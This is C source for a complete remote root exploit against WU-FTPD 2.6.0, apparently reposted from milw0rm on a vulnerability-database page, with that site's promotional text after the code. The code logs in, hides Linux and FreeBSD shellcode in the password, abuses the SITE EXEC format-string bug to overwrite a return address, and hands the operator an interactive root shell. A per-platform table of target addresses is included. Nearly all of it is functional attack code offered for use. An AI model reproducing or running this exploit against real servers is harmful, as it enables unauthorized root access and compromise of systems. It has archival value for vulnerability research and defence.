/*
* (c) 2000 venglin / b0f
* http://b0f.freebsd.lublin.pl
*
* WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
*
* Idea and preliminary version of exploit by tf8
*
* Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
* Dedicated to ksm.
*
* **PRIVATE**DO*NOT*DISTRIBUTE**
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#define repln if (getreply(0) < 0) return -1
#define replv if (getreply(1) < 0) return -1
#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif
char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]\n\t<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;
char linuxcode[]= /* Lam3rZ chroot() code */
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd"
"\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
"\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e"
"\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
"\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88"
"\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89"
"\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31"
"\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e"
"\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69"
"\x6e\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65"
"\x2e\x63\x6f\x6d";
char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
"\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
"\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\x01\x53\x53\xb0\x88"
"\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80\x31"
"\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31"
"\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75\xf1"
"\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd\x80"
"\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53\x53"
"\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\x30\x62\x69\x6e\x30"
"\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e\x67\x6c\x69\x6e"
"\x40\x6b\x6f\x63\x68\x61\x6d\x2e\x6b\x61\x73\x69\x65\x2e"
"\x63\x6f\x6d";
struct platforms
{
char *os;
char *version;
char *code;
int align;
int eipoff;
long ret;
long retloc;
int sleep;
};
struct platforms targ[] =
{
{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
{ NULL, NULL, NULL, 0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int connecttoftp(host, port)
char *host;
int port;
{
int sockfd;
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=getip(host);
cli.sin_port = htons(port);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
cin = fdopen(sockfd, "r");
cout = fdopen(sockfd, "w");
if (!cin || !cout)
{
close(sockfd);
return -1;
}
return sockfd;
}
int command(const char *fmt, ...)
{
char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;
va_list args;
if (!cout)
return -1;
bzero(buf1, BUFSIZ);
bzero(buf2, BUFSIZ*2);
va_start(args, fmt);
vsnprintf(buf1, BUFSIZ, fmt, args);
va_end(args);
for (p=buf1,q=buf2;*p;p++,q++)
{
if (*p == '\xff')
{
*q++ = '\xff';
*q = '\xff';
}
else
*q = *p;
}
fprintf(cout, "%s", buf2);
#ifdef DEBUG
fprintf(stderr, "--> ");
fprintf(stderr, "%s", buf2);
fputc('\n', stderr);
#endif
fputs("\r\n", cout);
(void)fflush(cout);
return 0;
}
int getreply(v)
int v;
{
if (!(fgets(recvbuf, BUFSIZ, cin)))
return -1;
if (v)
fprintf(stderr, "<-- %s", recvbuf);
return 0;
}
int logintoftp(login, passwd)
char *login, *passwd;
{
do
repl;
while (strncmp(recvbuf, "220 ", 4));
if ((command("USER %s", login)) < 0)
return -1;
repl;
if (strncmp(recvbuf, "331", 3))
{
puts(recvbuf);
return -1;
}
if ((command("PASS %s", passwd) < 0))
return -1;
do
repl;
while (strncmp(recvbuf, "230 ", 4));
return 0;
}
int checkvuln(void)
{
command("SITE EXEC %%p");
repl;
if(strncmp(recvbuf, "200-", 4))
return -1;
if(strncmp(recvbuf+4, "0x", 2))
return -1;
repl;
return 0;
}
int findeip(eipoff, align)
int eipoff, align;
{
int i, j, off;
char *p1;
char eip1[10], eip2[10];
for (i=eipoff;;i+=8)
{
fprintf(stderr, "at offset %d\n", i);
strcpy(sendbuf, "SITE EXEC ");
for (j=0;j<align;j++) strcat(sendbuf, "a");
strcat(sendbuf, "abcd");
for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "|%%.8x|%%.8x");
if (command(sendbuf) < 0)
return -1;
repl;
if (!(p1 = strchr(recvbuf, '|')))
return -1;
strncpy(eip1, p1+1, 8);
strncpy(eip2, p1+10, 8);
eip1[8] = eip2[8] = '\0';
if (!(strcmp(eip1, "64636261")))
{
off = i;
break;
}
if (!(strcmp(eip2, "64636261")))
{
off = i + 4;
break;
}
repl;
}
repl;
return off;
}
char *putshell(type)
int type;
{
static char buf[400];
int noplen;
char *code = targ[type].code;
noplen = sizeof(buf) - strlen(code) - 2;
memset(buf, 0x90, noplen);
buf[noplen+1] = '\0';
strcat(buf, code);
return buf;
}
int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
int i, size = 0;
char buf[100];
fprintf(stderr, "RET: %p, RET location: %p,"
" RET location offset on stack: %d\n",
(void *)ptr, (void *)retloc, off);
if (off >= 12)
{
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
if (command(sendbuf) < 0)
return -1;
repl;
size = strlen(recvbuf+4) - 2;
repl;
}
fprintf(stderr, "Reply size: %d, New RET: %p\n", size,
(void *)(ptr-size));
strcpy(sendbuf, "SITE EXEC ");
for (i=0;i<align;i++) strcat(sendbuf, "a");
sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
(((int)retloc & 0xff00) >> 8),
(((int)retloc & 0xff0000) >> 16),
(((int)retloc & 0xff000000) >> 24));
strcat(sendbuf, buf);
for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");
if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");
strcat(sendbuf, "%%.");
sprintf(buf, "%d", (int)ptr-size);
strcat(sendbuf, buf);
strcat(sendbuf, "d%%n");
if (command(sendbuf) < 0)
return -1;
return 0;
}
int sh(sockfd)
int sockfd;
{
char buf[BUFSIZ];
int c;
fd_set rf, drugi;
char cmd[] = "uname -a ; pwd ; id\n";
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
write(sockfd, cmd, strlen(cmd));
while (1)
{
bzero(buf, BUFSIZ);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, BUFSIZ);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, BUFSIZ);
if (c<0) return 0;
write(1,buf,c);
}
}
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
long ret, retloc;
char login[BUFSIZ], password[BUFSIZ];
opterr = retofs = retlocofs = 0;
strcpy(login, "ftp");
type = -1;
port = 21;
while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
switch((char)ch)
{
case 'l':
strcpy(login, optarg);
break;
case 't':
type = atoi(optarg);
break;
case 'o':
port = atoi(optarg);
break;
case 'f':
retofs = atoi(optarg);
break;
case 's':
retlocofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "PanBobek v1.1 by [email protected]\n\n");
if (type < 0)
{
fprintf(stderr, "Please select platform:\n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "\t-t %d : %s %s (%p / %p)\n", i,
targ[i].os, targ[i].version,
(void *)targ[i].ret,
(void *)targ[i].retloc);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n",
targ[type].os, targ[type].version);
eipoff = targ[type].eipoff;
align = targ[type].align;
ret = targ[type].ret;
retloc = targ[type].retloc;
retloc += retlocofs;
ret += retofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
strcpy(password, putshell(type));
if ((fd = connecttoftp(*argv, port)) < 0)
{
(void)fprintf(stderr, "Connection to %s failed.\n", *argv);
exit(1);
}
(void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv);
if (logintoftp(login, password) < 0)
{
(void)fprintf(stderr, "Logging in to %s (%s) failed.\n",
*argv, login);
exit(1);
}
(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n",
login);
sleep(targ[type].sleep);
if (checkvuln() < 0)
{
(void)fprintf(stderr, "Sorry, this version isn't"
" vulnerable or uses internal vsnprintf().\n");
exit(1);
}
(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n",
eipoff);
if ((retoff = findeip(eipoff, align)) < 0)
{
(void)fprintf(stderr, "\nError finding offset. Adjust"
" align.\n");
exit(1);
}
if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
{
(void)fprintf(stderr, "Error overwriting RET addr.\n");
exit(1);
}
fprintf(stderr, "Wait up to few minutes for reply. It depends on "
"victim's CPU speed.\nEnjoy your shell.\n");
sh(fd);
exit(0);
}
// milw0rm.com [2000-11-21]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation